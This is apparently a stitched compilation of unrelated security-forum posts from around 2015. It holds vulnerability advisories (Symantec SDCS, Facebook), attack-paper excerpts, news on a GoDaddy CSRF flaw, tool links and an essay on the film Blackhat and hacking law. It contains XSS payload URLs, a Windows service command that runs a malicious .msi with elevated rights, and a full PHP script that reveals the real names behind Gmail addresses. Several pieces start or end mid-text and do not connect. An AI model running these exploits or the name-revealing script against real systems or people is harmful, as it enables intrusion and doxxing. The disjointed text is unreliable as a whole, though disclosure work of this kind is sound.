eof_flag="\nEOF_FLAG\n" header = header %(len(data)) payload=header+data+eof_flag response,data = send_request("<host>:4443",payload) print data.decode('utf-16le') print response.status As the application users act as Tomcat administrators, an attacker can login into the Tomcat manager as well. The Tomcat manager is available by default via TCP port 8081 HTTPS. The Tomcat Web Application Manager can be used to deploy new .war-files containing attacker-controlled Java code. This allows an attacker to execute arbitrary commands on the operating system with the permissions/user of the "Symantec Data Center Security Server Manager" service (SISManager) which are SYSTEM. 2) Reflected Cross-Site-Scripting (XSS) (SDCS:SA Server) (CVE-2014-9224) At least the following URLs are vulnerable to XSS: https://example.com:8081/webui/Khaki_docs/SSO-Error.jsp?ErrorMsg=<script>alert('xss')</script> https://example.com:8081/webui/admin/WCUnsupportedClass.jsp?classname=<script>alert('xss')</script> 3) Information Disclosure (SDCS:SA Server) (CVE-2014-9225) The following URLs discloses internal information: https://example.com:8081/webui/admin/environment.jsp 4) Multiple Default Security Protection Policy Bypasses (SDCS:SA Client) (CVE-2014-9226) - Persistent code execution via Windows Services Windows Service binaries can have file extensions other than ".exe". This allows an attacker to execute arbitrary files and enables automatic execution of malicious code at OS boot. - Remote code execution via RPC Existing tools like "psexec" or Metasploit (/exploit/windows/smb/psexec) can be modified to write files not ending with ".exe" on the target system. - Policy bypass: Extraction of Windows passwords/hashes The tool "mimikatz" can be used to extract Windows credentials. - Privilege elevation via Windows Installer (msiexec.exe) msiexec.exe is trusted "safe privileges" when started as a service (usually "Windows Installer" parameter "/V"). This can be abused by creating a service that starts msiexec.exe with the parameters "/quiet", "/i" and a path to a valid .msi file. Upon service start the .msi file is executed with "safe privileges" privileges and not subject to any SDCS:SA Client checks. sc create evil_service binpath= "c:\windows\System32\msiexec.exe /quiet /i c:\temp\evil_msi" type= own start= auto error= ignore net start evil_service - Privilege elevation/code execution via Windows Management Instrumentation (.mof files) On old Windows versions .mof files placed in "%SystemRoot%\System32\wbem\mof\" are automatically compiled/executed. These trigger arbitrary code execution. The code is executed with "def_winsvcs_ps" permissions. Vulnerable / tested versions: ----------------------------- The vulnerabilities have been verified to exist in Symantec Data Center Security: Server Advanced version 6.0, which was the most recent version at the time of discovery. However other versions (SCSP 5.2.9) are affected by the vulnerabilities as well. See the vendor information in the Solution section. Vendor contact timeline: ------------------------ 2014-10-20: Sending advisory and proof of concept exploit via encrypted channel. 2014-10-20: Vendor acknowledges receipt of advisory. 2014-11-18: Requesting status update. 2014-11-18: Vendor responds and informs about an advisory in December, version containing fixes in February. 2014-12-04: Vendor informs about delays in releasing fixes/mitigations, target release date mid-January. 2015-01-08: Vendor confirms release date for fixes/mitigations (2015-01-17). 2015-01-17: Vendor releases fixes for SCSP. 2015-01-19: Vendor releases advisory and mitigations for SCSP/ 2015-01-22: SEC Consult releases coordinated security advisory. Solution: --------- Update to the most recent version of SCSP (5.2.9 MP6) or SDCS:SA (6.0 MP1). Not all vulnerabilities are fixed by this update! However, Symantec has provided mitigations for these issues: More information can be found at: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20150119_00 http://www.symantec.com/business/support/index?page=content&id=TECH227679 http://www.symantec.com/business/support/index?page=content&id=HOWTO100996&actp=search&viewlocale=en_US&searchid=1421349750071 Workaround: ----------- See solution. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius - Zurich Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult Interested to work with the experts of SEC Consult? Write to career@sec-consult.com EOF Stefan Viehböck / @2015 Source

Table of Contents Abstract.........................................................................................................................................................1 1. Introduction..........................................................................................................................................2 1.1 Form Validation in HTML 4 ...........................................................................................................2 1.2 Form Validation in HTML5 ............................................................................................................3 2. HTML5 Security Concerns.....................................................................................................................4 2.1 Web Storage Attacks.....................................................................................................................4 3.1 Session Storage .............................................................................................................................5 3.2 Local Storage.................................................................................................................................5 3.3 localStorage API ............................................................................................................................6 3.3.1 Adding an Item..................................................................................................................6 3.3.2 Retrieving Items................................................................................................................6 3.3.3 Removing an Item .............................................................................................................6 3.3.4 Removing All Items............................................................................................................6 3.4 Session Storage API.......................................................................................................................7 3.4.1 Adding An Item..................................................................................................................7 3.4.2 Retrieving An Item.............................................................................................................7 3.4.3 Removing An Item.............................................................................................................7 3.4.4 Removing All Items............................................................................................................7 3.5 Security Concerns with Web Storage in HTML5 ...........................................................................7 3.6 Stealing Local Storage Data via XSS ..............................................................................................8 3.7 Stored DOM Based XSS Attacks....................................................................................................9 3.8 Example of a DOM Based XSS .....................................................................................................10 4. WebSockets Attacks ...........................................................................................................................11 4.1 Security Concerns of WebSockets Attacks..................................................................................11 4.1.1 Denial of Service Issues...................................................................................................11 4.1.2 Denial of Service on the Client Side ................................................................................11 4.1.3 Denial of Service on the Server Side ...............................................................................12 4.1.4 Data Confidentiality Issues..............................................................................................12 4.1.5 Cross-Site Scripting Issues in WebSocket........................................................................13 4.1.6 WebSocket Cross-Site Scripting Proof of Concept..........................................................13 4.1.7 Proof of Concept of WebSocket XSS ...............................................................................14 4.1.8 Origin Header..................................................................................................................15 5. XSS with HTML5 Vectors.....................................................................................................................16 5.1 Case 1 – Tags Blocked .................................................................................................................16 5.2 Case 2 - Attribute Context...........................................................................................................16 5.2.1 Example...........................................................................................................................16 5.3 Case 3 – Formaction attribute ....................................................................................................18 6. Cross Origin Resource Sharing (CORS)................................................................................................19 6.1 What is an Origin?.......................................................................................................................19 6.2 Crossdomain.xml.........................................................................................................................19 6.3 What is CORS?.............................................................................................................................20 6.3.1 Example...........................................................................................................................20 6.3.2 Security Issue...................................................................................................................20 6.3.3 Example...........................................................................................................................20 6.3.4 Example...........................................................................................................................20 6.3.5 Proof of Concept .............................................................................................................22 7. GeoLocation API..................................................................................................................................23 7.1 Introduction ................................................................................................................................23 7.2 Security Concerns........................................................................................................................23 7.2.1 Example...........................................................................................................................23 7.2.2 Proof of Concept .............................................................................................................24 7.2.3 Chrome............................................................................................................................24 7.2.4 Firefox..............................................................................................................................24 8. Client Side RFI Includes.......................................................................................................................26 8.1 Vulnerability Example .................................................................................................................26 8.2 Example.......................................................................................................................................27 8.3 Request .......................................................................................................................................28 8.4 Safer Example .............................................................................................................................28 8.5 Open Redirects............................................................................................................................29 8.5.1 Example...........................................................................................................................29 9. Cross Window Messaging...................................................................................................................30 9.1 Sender’s Window........................................................................................................................30Copyright© 2014 RHA InfoSEC. All rights reserved. Page iv 9.2 Receiver’s Window......................................................................................................................30 9.3 Security Concerns........................................................................................................................31 9.3.1 Origin not being checked ................................................................................................31 9.3.2 Impact .............................................................................................................................31 9.3.3 DOM Based XSS...............................................................................................................31 9.3.4 Vulnerable Code..............................................................................................................32 10. Sandboxed Iframes.............................................................................................................................33 10.1 Security Concerns........................................................................................................................33 11. Offline Applications ............................................................................................................................34 11.1 Example.......................................................................................................................................34 11.2 Security Concerns........................................................................................................................35 12. WebSQL ..............................................................................................................................................37 12.1 Security Concerns........................................................................................................................37 12.2 SQL Injection ...............................................................................................................................37 12.3 Insecure Statement.....................................................................................................................37 12.4 Secure Statement........................................................................................................................38 12.5 Cross Site Scripting......................................................................................................................39 12.5.1 Example...........................................................................................................................40 13. Scalable Vector Graphics....................................................................................................................41 14. Webworkers........................................................................................................................................44 14.1 Creating a Webworker................................................................................................................44 14.1.1 Sending/Receiving a Message to/from Webworker.......................................................44 14.2 Cross Site Scripting Vulnerability ................................................................................................46 14.2.1 Example...........................................................................................................................46 14.3 Distributed Denial of Service Attacks..........................................................................................47 14.4 Distributed Password Cracking ...................................................................................................50 15. Stealing Personal Data Stored With Autocomplete Function ............................................................52 15.1 Example: Autocomplete Attribute in Action...............................................................................52 16. Scanning Private IP Addresses............................................................................................................54 16.1 WebRTC.......................................................................................................................................54 17. Security Headers to Enhance Security with HTML5 ...........................................................................56 17.1 X- XSS-Protection ........................................................................................................................56 17.2 X-Frame-Options.........................................................................................................................56 17.3 Strict-Transport-Security.............................................................................................................57 17.3.1 Example...........................................................................................................................58 17.4 X-Content-Type-Options.............................................................................................................58 17.4.1 Example...........................................................................................................................58 17.4.2 Example...........................................................................................................................59 17.5 Content-Security-Policy ..............................................................................................................59 17.5.1 Sample CSP......................................................................................................................60 Acknowledgements.....................................................................................................................................61 References ..................................................................................................................................................62 Read more: http://dl.packetstormsecurity.net/papers/attack/HTML5AttackVectors_RafayBaloch_UPDATED.pdf

For many years, different types of malware rank among the biggest IT security threats both in the business and the private domain. In order to protect oneself from the dangers of malware, numerous software manufacturers offer IT security products like antivirus and endpoint protection software. But these products alone offer no sufficient protection from malware that knows some tricks, as the results of our recent research with the topic antivirus evasion show. In the recent past, there were several computer-based attacks against IT networks that became public and raised a lot of media attention. Especially the attacks against the New York Times [1] and the Washington Post [2] at the beginning of 2013 had a world-wide media coverage and also heated the debate about such cyber threats with manufacturers of IT security products like antivirus and endpoint protection software. In both mentioned cases, attackers were able to install malware on computer systems of employees in order to literally spy on the affected companies – and this probably undetected for several months. Once more, incidences like these have pointed out that in spite of the use of IT security products like antivirus software or host intrusion detection/prevention software (HIDS/HIPS) such attacks cannot be entirely prevented. This kind of threat illustrates that enterprises and also government agencies require a master plan with a working information security management and security awareness of all employees. This paper discusses how developers of malware like trojan horses (in short trojans), viruses, and worms proceed to hide their malicious intentions from antivirus software. Thereby, current results of our recent research are presented and recommendations are given for dealing with threats and security risks caused by malware. How Antivirus Software Works Current antivirus software, no matter if a standalone software product or a component of a software suite (host intrusion detection/prevention software, endpoint protection software, etc.), uses different methods to detect known and unknown threats by means of malware. In general, these methods used for protecting computer systems from unwanted, malicious software can be assigned to the following two strategies: 1. Blacklisting 2. Whitelisting In the context of antivirus software, the two terms blacklisting and whitelisting simply mean that the execution of a program is either explicitly forbidden (being on a black list) or explicitly allowed (being on a white list). Thus, by following the blacklisting approach antivirus software will prevent the execution of programs that are Read more: http://dl.packetstormsecurity.net/papers/general/outsmarted-malware.pdf

Table of Contents I. Introduction: .......................................................................................................................... 1 II. Threats posed to business professionals by open Wi-Fi hotspots...................................... 2 A. Most common threats to devices connected to open Wi-Fi hotspots....................................3 1. Types and description of threats................................................................................... 3 2. Basic security measures:................................................................................................ 3 B. Evil Twin............................................................................................................................................4 1. What is an evil twin?...................................................................................................... 4 2.Effects of evil-twin attack on the end user...............................................................................6 III. The repercussions of lack of a sound security for the Wi-Fi.......................................... 6 A.The after-effects of being a victim of cyber-crime....................................................................6 1. Loss of money to restore the system to its original state: ........................................... 6 2. Loss of time in retrieving back the lost/damaged/misused data:............................... 6 IV. Measures to mitigate evil twin attacks............................................................................. 7 A.WPA-PSK method:..........................................................................................................................7 B. Using a Virtual Private Network: ................................................................................................7 C. Awareness of cyber security ........................................................................................................12 D.Introducing the concept of basics of cyber-security to students at an earlier age. .........14 V. The perks of upgrading to stronger security measures as mentioned above:.................. 15 A.Increases the productivity of an organization and reduces the avoidable expenses. .....15 B. Beneficial to end-users as their private data is kept private and unaffected. ..................15 C.Works towards building a better and a robust security system throughout. ..................15 VI. Conclusion:............................................................................................................................ 15 VII. References:........................................................................................................................... 17 Source

overview on 12/09/14 i discovered a method of revealing the full and/or display names associated with gmail accounts via maps engine, whether or not those accounts are associated with google plus, which renders said information public. i immediately submitted my findings to google’s vulnerability rewards program and began correspondence with their security team. at some point during this time, i discovered a nearly identical vulnerability in google drive, and held it as an ace up my sleeve while awaiting feedback on the maps engine leak. the google drive leak differs in a few ways from the maps engine leak, specifically in that it doesn’t deploy an email to the target – potentially informing him or her that something is afoot, and is what the live proof of concept and open source code are based upon. here it is in action with a non-g+ account: <11:35 pm est update> it has recently come to light that this not only works on google accounts, but *some* hotmails, yahoos and others as well. here’s a small excerpt of what i just sent over to google’s security team: additionally, adrian suggested the possibility of: so thanks to him and marcus from the 2600 group for helping me try to wrap my head around this, and this tweet, which poses an excellent question: as well as for providing some suggested reading material for the guys on google’s security team: </11:35 pm est update> timeline of events 12/09/14: submitted vulnerability report 12/15/14: confirmation that the issue exists 12/16/14: google employee confirms that maps engine is “too chatty” and files a bug report 01/17/15: i am informed the issue “doesn’t represent a security vulnerability” 01/20/15: google publicly announces its plans to deactivate maps engine and restricts new signups 01/20/15: it is discovered that other email services, not just gmail, are vulnerable. google security team notified via email click here for a live poc demo of the gmail full name revealer now obviously you aren’t going to reveal a target’s full name every time. there are a few factors to consider; one of which being that not everyone uses their actual full name when signing up for something on the internet, another being that gmail account’s must be 6 characters long, and i’m sure a few others i’m not accounting for. sometimes you’ll retrieve null results, but most of the time what you’ll end up with is either a user-set display name, or in most cases, the first and last name the target entered while signing up for the account as seen here: and here‘s the source code. you may quickly notice php isn’t my native programming language, so feel free to make revisions. i’d love to see them. <?php $targetEmail = 'target@gmail.com'; require_once "google-api-php-client/src/Google/Client.php"; require_once "google-api-php-client/src/Google/Service/Drive.php"; require_once "google-api-php-client/src/Google/Auth/AssertionCredentials.php"; $cScope = 'https://www.googleapis.com/auth/drive'; $cClientID = '[clientid]'; $cClientSecret = '[clientsecret]'; $cRedirectURI = '[redirecturi]'; $cAuthCode = ''; if(isset( $_GET['code'])) { $cAuthCode = $_GET['code']; } if (!($cAuthCode) == "null") { $rsParams = array( 'scope' => $cScope, 'state' => 'security_token', 'redirect_uri' => $cRedirectURI, 'response_type' => 'code', 'client_id' => $cClientID, 'access_type' => 'offline', 'approval_prompt' => 'force' ); $cOauthURL = 'https://accounts.google.com/o/oauth2/auth?' . http_build_query($rsParams); header('Location: ' . $cOauthURL); exit(); } elseif (empty($cRefreshToken)) { $authURL = "https://www.googleapis.com/oauth2/v3/token?code=" . $cAuthCode . "&client_id=" . $cClientID . "&client_secret=" . $cClientSecret . "&redirect_uri=" . $cRedirectURI . "&grant_type=authorization_code"; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $authURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, ""); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); $oToken = json_decode($output); $accessToken = $oToken->access_token; $refreshToken = $oToken->refresh_token; } $createURL = "https://www.googleapis.com/drive/v2/files"; $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', "Authorization: Bearer " . $accessToken )); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $createURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"title\": \"revealyourself1\"}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); $oToken = json_decode($output); $fileID = $oToken->id; $compileJSON = array("role" => "writer","type" => "user","value" => $targetEmail,"emailAddress" => $targetEmail); $jsonPostData = json_encode($compileJSON); $addUser = "https://www.googleapis.com/drive/v2/files/" . $fileID . "/permissions?sendNotificationEmails=false"; $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', "Authorization: Bearer " . $accessToken )); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $addUser); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonPostData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); if (strpos($output,'error') !== false) { echo 'error feedback from google:<br><br>' . $output; } else { $oToken = json_decode($output); $fullName = $oToken->name; echo $targetEmail . ' is ' . $fullName; } ?> reflection this clearly isn’t, by any stretch of the imagination, the hack of the century. however, i do think that the significance of this issue, as well as my efforts to correct it, were marginalized by google. i believe many users signing up for a simple webmail account aren’t comfortable with their full names being readily accessible to the public, and ultimately my goal here is to see google make a more concentrated effort to protect their user’s privacy. i would like to see these two security vulnerabilities patched before troublemakers start running wild d0xing each other and spammers utilize them to compile name,email .csv data for highly targeted unsolicited email campaigns. i also think that these are two instances of information leaks, which google’s vulnerability rewards program classifies as being valued at $5,000 to $10,000 a pop, and i classify as information leaks based on google’s privacy policy’s indication of their user’s names being “personal information.” in any case, i won’t be working with google’s security team in the future unless they, at least in this particular instance, reevaluate what constitutes a security vulnerability. stay tuned for updates. Source: http://mcsheehan.com/?p=15

Bafta! http://www.bitdefender.com/media/html/spread/download-bms/

Nearly half of people aged 16 to 24 foresee the end of passwords and pin numbers by 2020 as biometric security takes over, according to research by Visa. The research of 2,000 people revealed that 69 percent of respondents aged between 16 and 24 - dubbed 'Generation Z' - believe it will be easier and faster to use biometric identification than remembering passwords and pin numbers. This age group is also keen to adopt biometric security. Some 76 percent feel comfortable with the concept of making payments using biometric data. Jonathan Vaux, executive director at Visa Europe, told V3 that the use of biometric authentication in smartphones as seen in Apple's latest iPhones will help drive demand for the technology. "Fingerprint biometrics in particular are entering the mainstream as a security measure, with the likes of Apple and Samsung relying on biometric security to enter their phones, and more recently the launch of Touch ID and Apple Pay," he said. Generation Z also favours fingerprint scanning over other forms of biometric identification, the research revealed. Nearly 70 percent expressed a desire to use fingerprints rather than passwords, while 39 percent favour retina scans and 27 percent favour face recognition. Vaux explained that biometrics technology will continue to evolve, offering more secure identification by scanning vein patterns in fingers rather than fingerprint systems which can be hacked. This evolution of biometrics and increased demand from consumers will break down the scepticism and criticism that some consumers show for the technology. "We mustn't discount biometrics as a viable form of security. When passwords were first introduced consumers needed to be educated on how to be safe and secure when using them," said Vaux. However, Vaux does not believe that passwords will disappear completely, but will become a secondary layer of security to further reduce the risk of fraud. "There are some concerns surrounding biometric security measures, such as whether fingerprints can be reproduced. Biometric security could be coupled with password or Pin authentication to maintain higher levels of security," he said. "In the future there may not be one security measure, but a combination of several - the biometric equivalent of two-step authentication." Biometric security is undoubtedly becoming more widespread. Apple added its TouchID fingerprint scanner to the latest range of iPads and iPhones, and Barclays has introduced a tool that scans the vein patterns in a finger. Source

Va atasez cateva carti , pentru Linux, Networking, Snort si mai multe : Exemple : Network Security Guide O'Reilly - Internet Core Protocols the definitive guide -"- - Network Warrior TCP IP Network Administrator APACHE COOKBOOK APACHE SECURITY si mai multe.... Bafta la citit! DOWNLOAD

Domain registrar GoDaddy yesterday patched a cross-site request forgery vulnerability that could have allowed an attacker to change domain settings on a site registered with GoDaddy. The flaw was reported on Saturday and patched within 48 hours, according to Dylan Saccomanni, a web application security researcher and penetration testing consultant in New York. “This vulnerability lies in GoDaddy domain settings (not account settings). If you go to ‘Domains’ when you log into GoDaddy, you’ll be presented with various options and settings you can edit for the specific domain you chose,” Saccomanni said. “That is where this issue is.” Cross-site request forgery is a chronic web application vulnerability, right up there with cross-site scripting and others that continue to stand in the way of secure development. CSRF works when a user authenticated to a web application or domain is forced by a hacker to make state-changing requests, including administrative requests in this case. The attacker, however, would have to combine this with some form of social engineering scam in order to lure the victim to their site hosting the attack. “It wouldn’t be difficult to exploit at all,” Saccomanni said. “The attacker would have a victim fill out a very professional looking form (maybe not even relating it to GoDaddy at all), and have the form perform a GoDaddy domain settings change request while they’re logged in. He could do this at scale, attracting GoDaddy users to his site, betting they’ll be logged in.” “It wouldn’t be difficult to exploit at all.” -Dylan Saccomanni Saccomanni said he discovered the vulnerability Saturday when looking at an old domain in GoDaddy, noticing a lack of cross-site request forgery protection on GoDaddy DNS management actions. Saccomanni said there was no CSRF token present in request body or headers, and no enforcement of Referrer. This lack of protection would give an attacker the ability to edit nameservers, change auto-renew settings and edit the zone file. “A user could have a domain de facto taken over in several ways. If nameservers are changed, an attacker changes the domain’s nameservers (which dictates what server has control of DNS settings for that domain) over to his own nameservers, immediately having full and complete control,” Saccomanni said. “If DNS settings are changed, he simply points the victim’s domain towards an IP address under his control. If the auto-renew function is changed, the attacker will try to rely on a user forgetting to renew their domain purchase for a relatively high-profile domain, then buy it as soon as it expires.” The #CSRF vulnerability could have allowed an attacker to change domain settings on a site registered with @Godaddy. Saccomanni said he tried many different email addresses associated with security and engineering, as well as customer support in order to report the bug. He said he received no confirmation from GoDaddy that the issue was patched, but yesterday did see protections put in place. A request for comment and confirmation from GoDaddy was not returned in time for publication. “The reply that I received from customer support was that 1. the security email address isn’t being actively monitored for incoming email and 2. thanking me for the feedback, but there was no timeline for a fix,” Saccomanni said, adding that he never found an official security contact with the registrar. “I wish I could give you a security contact because I wish I got one myself, but they didn’t even allow me to try and speak with a security engineer directly, which is a vastly disappointing security posture for a large domain registrar.” Source

GoLismero is an open source framework for security testing. It’s currently geared towards web security, but it can easily be expanded to other kinds of scans. Download: https://github.com/golismero/golismero

iGoat is a learning tool for iOS developers (iPhone, iPad, etc.). It was inspired by the WebGoat project, and has a similar conceptual flow to it. As such, iGoat is a safe environment where iOS developers can learn about the major security pitfalls they face as well as how to avoid them. It is made up of a series of lessons that each teach a single (but vital) security lesson. iGoat is free software, released under the GPLv3 license. Download: https://code.google.com/p/owasp-igoat/wiki/NewDownloads

What a strange time. Last week I was literally walking the red carpet at the Hollywood premiere of Michael Mann’s Blackhat, a crime thriller that I had the good fortune to work on as a “hacker adviser” (my actual screen credit). Today, all I’m thinking is, please, God, don’t let anybody in Congress see the film. I’ll explain my anxiety in a minute. First, the movie: Mann, the legendary director of hardboiled crime films like Heat, Collateral, and Miami Vice, always has been a stickler for authenticity, and he brought me into Blackhat as an adviser early on, before it had a title or a lead actor. If you’re wondering how one gets involved in a Michael Mann film, here’s how it works: Mann calls you on the phone. You think, “Why is Michael Mann calling me?” After a phone conversation and an interview in Los Angeles, you’re officially invited on board as a consultant. It turned out Blackhat’s screenwriter had read my cybercrime book Kingpin, and he’d suggested me to Mann. When I showed up for my first consulting meeting, I expected to find a roomful of people crowded around a long conference table. Instead, it was just me and Mann, sitting in his office for five hours at a time. He had questions about malware, hacking, how modern computer intrusions play out. For subsequent meetings, I was given the current iteration of the screenplay (watermarked with my name, lest I leak it to the Pirate Bay), and we went over it line by line, looking at dialogue, discussing tweaks to the hacking and forensics scenes, and working on some of the procedural elements in the plot. Later, Mann brought in a second computer consultant, OkCupid hacker Chris McKinley, to write code for the movie and train leading man Chris Hemsworth in Linux basics, making Hemsworth officially the best-looking human to ever use a command line. The result is in theaters today. I think Blackhat is an awesome movie: stylish, breathtakingly beautiful at times, and close to the metal in depicting a no-longer-scifi world where cybercrime is serious, profitable, and well-funded. I’m biased, of course, because of my involvement, and because I’ve been a fan of Mann’s work since the ’80s. (In one meeting with him I embarrassed myself by recalling the name of the villain in the Miami Vice pilot, which he himself had forgotten.) Overall, the movie seems to be drawing radically polarized reviews, but I’m gratified that security geeks who’ve seen it have given it good grades on authenticity. It wasn’t until this week—Tuesday evening, to be exact—that my anxiety over the timing of the movie set in. That’s when the White House released its legislative proposal to “reform” US computer crime policy in reaction to the Sony breach. President Obama plans to formally announce it at the State of the Union next Tuesday, but the details are public now. And many are troubling. The general thrust of the proposal is to broaden the reach of the Computer Fraud and Abuse Act, and boost penalties for violations. The White House proposal will quadruple the maximum possible sentence for some crimes from five years to 20. And where under current law some hacks are misdemeanors—specifically a first-time offense that doesn’t involve credit cards or more than $5,000 in information—those crimes will now be felonies. Additionally, CFAA violations would qualify for prosecution under the mob-busting RICO statute, meaning, for example, if a member of Anonymous is busted in a petty denial-of-service attack, she might now be held legally accountable for every cybercrime Anonymous has committed. More disturbingly, the proposal includes sweeping language that directly impairs legitimate security work. It makes it newly illegal to “traffic” in any “means of access” into a computer if you have reason to know that someone will use it illegally. Releasing or using hacking code is a staple of cyber security work. Researchers publish it to demonstrate and describe the vulnerabilities they find, and professional white hats use it to audit their customers’ networks. Like many security tools, bad guys can use the software too, and they do. But a sober computer crime proposal doesn’t ban tools that benefit thousands of people because one of them is a criminal. Security expert Robert Graham notes that even circulating a link could be considered a felony under the proposal. Obama has struggled and failed to get similar CFAA changes through Congress in the past, but this time he has the Sony hack behind him—and now Blackhat. If it’s farfetched to think lawmakers will be swayed by a work of Hollywood fiction, consider that it’s happened before. Congress passed the original CFAA in 1984 in direct response to the seminal hacker flick Wargames. Politicians who saw the film felt an urgent need to punish hackers, lest one of them blunder into NORAD and trigger World War III. The result was a law that—after several revisions—led to cases like the Lori Drew and Andrew Auernheimer misfires: People charged for lying in their social networking profiles or conspiring to access an unpublished URL. In one recent case I wrote about, two gamblers were charged under the CFAA for exploiting a bug in video poker machines to beat the house. Following the suicide of hacker activist Aaron Swartz two years ago, a proposal to put limits on the CFAA floated through the halls of Congress and out a window, never to be seen again. Now Obama is looking to go the other way and make the CFAA more powerful. Don’t mistake Obama’s proposal for meaningful action, though. Computer crime sentences have already smashed through the ceiling of efficacy. At this very moment there are hackers, and even low-level credit card fraudsters, serving 20 year terms, and that didn’t deter the Sony intruders. As for the “trafficking” prohibition, when hacking tools are outlawed … well, you know the rest. Nevertheless, I can say with absolute confidence that a lawmaker will soon be standing on the floor of Congress talking about Blackhat in the same breath as the Sony intrusion, railing about the grave threat to American lives that computer hacking poses if the president’s proposal isn’t enacted. I mean, this is a film in which malware makes a Chinese nuclear plant explode in the opening scene. So let me say now to any politicians reading this, as one of the people who helped make Blackhat feel authentic, nuclear plants are not exploding. And if you think they might, then you should direct your efforts to locking down critical systems. Pour money into research, offer incentives for organizations to invest in security, pass disclosure laws that require public reporting of breaches, so consumers can hold negligent companies accountable. Blindly boosting sentences for the few hackers who get caught will do nothing to help. And outlawing security tools just because they can be abused will only aid the real blackhats. Disclosure: As a hacker 20 years ago, the author pleaded guilty under an uncontroversial application of the CFAA. Source

Document Title: =============== Facebook Bug Bounty #19 - Filter Bypass Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1381 Facebook Security ID: 221374210 Vulnerability Magazine: http://magazine.vulnerability-db.com/?q=articles/2015/01/14/facebook-bug-bounty-restriction-filter-bypass-vulnerability-id-221374210 Release Date: ============= 2015-01-14 Vulnerability Laboratory ID (VL-ID): ==================================== 1381 Common Vulnerability Scoring System: ==================================== 3.5 Product & Service Introduction: =============================== Facebook is an online social networking service, whose name stems from the colloquial name for the book given to students at the start of the academic year by some university administrations in the United States to help students get to know each other. It was founded in February 2004 by Mark Zuckerberg with his college roommates and fellow Harvard University students Eduardo Saverin, Andrew McCollum, Dustin Moskovitz and Chris Hughes. The website`s membership was initially limited by the founders to Harvard students, but was expanded to other colleges in the Boston area, the Ivy League, and Stanford University. It gradually added support for students at various other universities before opening to high school students, and eventually to anyone aged 13 and over. Facebook now allows any users who declare themselves to be at least 13 years old to become registered users of the site. Users must register before using the site, after which they may create a personal profile, add other users as friends, and exchange messages, including automatic notifications when they update their profile. Additionally, users may join common-interest user groups, organized by workplace, school or college, or other characteristics, and categorize their friends into lists such as `People From Work` or `Close Friends`. As of September 2012, Facebook has over one billion active users, of which 8.7% are fake. According to a May 2011 Consumer Reports survey, there are 7.5 million children under 13 with accounts and 5 million under 10, violating the site`s terms of service. In May 2005, Accel partners invested $12.7 million in Facebook, and Jim Breyer added $1 million of his own money to the pot. A January 2009 Compete.com study ranked Facebook as the most used social networking service by worldwide monthly active users. Entertainment Weekly included the site on its end-of-the-decade `best-of` list, saying, `How on earth did we stalk our exes, remember our co-workers` birthdays, bug our friends, and play a rousing game of Scrabulous before Facebook?` Facebook eventually filed for an initial public offering on February 1, 2012, and was headquartered in Menlo Park, California. Facebook Inc. began selling stock to the public and trading on the NASDAQ on May 18, 2012. Based on its 2012 income of USD 5.1 Billion, Facebook joined the Fortune 500 list for the first time, being placed at position of 462 on the list published in 2013. (Copy of the Homepage: http://en.wikipedia.org/wiki/Facebook ) Abstract Advisory Information: ============================== The independent Vulnerability Laboratory Researcher Paulos Yibelo discovered a limitation bypass vulnerability in the official Mobile Site and mobile app (android/ios). Vulnerability Disclosure Timeline: ================================== 2014-12-10: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security) 2014-12-11: Vendor Notification (Facebook Security Team - Bug Bounty Program) 2014-12-15: Vendor Response/Feedback (Facebook Security Team - Bug Bounty Program) 2015-01-12: Vendor Fix/Patch (Facebook Developer Team - Reward: Bug Bounty) 2015-01-14: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A restriction/limitation bypass web vulnerability has been discovered in the official Facebook Mobile web-application framework. Facebook limits a name change for 60 days before a new name is applied. The advisory explains how i was able to bypass the restriction to change my `Alternative name` using parameter session tampering. First the attacker uses a restricted account (60 day) and review the changes by using a session tamper. By a permanent exchange of the name values the service updates the name value through the mobile service without usage of the secure restriction mechanism. Remote attackers are able to bypass the restriction to exploit the vulnerability. The attack vector of the issue is location on the application-side and the request method to inject is POST. Using this bug, a local attacker (a logged in user) can impersonate other users to manipulate their friends and change back to their account name (bypassing the 60day restriction). The security risk of the filter bypass vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 3.5. Exploitation of the filter mechanism vulnerability requires a low privileged web-application user account without user interaction. Successful exploitation of the bypass issue results in unauthorized account name changes through alternative name inputs. Request Method(s): [+] POST Vulnerable Service(s): [+] Facebook - Mobile Website [+] Facebook Apps - Apple iOS & Android Vulnerable Module(s): [+] ./settings/account/ Vulnerable Parameter(s): [+] name Proof of 